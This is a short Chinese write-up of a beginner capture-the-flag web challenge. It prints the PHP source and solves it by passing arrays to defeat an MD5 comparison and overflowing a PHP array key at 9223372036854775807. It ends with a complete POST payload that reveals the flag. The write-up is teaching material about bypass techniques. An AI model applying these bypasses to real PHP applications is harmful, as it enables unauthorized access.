萌新赛的web题
<?php
$six_number = $_POST['webp'];
$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}
}
}
?>
MD5(123456)=e10adc3949ba59abbe56e057f20f883e ==>webp=123456
md5无法处理数组a[]=1&b[]=2
分析c
if($array[++$c]=1){
if($array[]=1){
echo "nonono";
}
else{
require_once 'flag.php';
echo $flag;
}}
关键是;$array[]=1
此语句正常赋值时,返回结果一定是为 1 的,要想跳出这个判断语句,必须让它赋值出问题。
查阅资料后发现:
作为PHP最重要的数据类型HashTable其key值是有一定的范围的,如果设置的key值过大就会出现溢出的问题,临界点是9223372036854775807这个数字。
c=9223372036854775807
payload
webp=123456&a[]=1&b[]=2&c=9223372036854775806
即可得到密码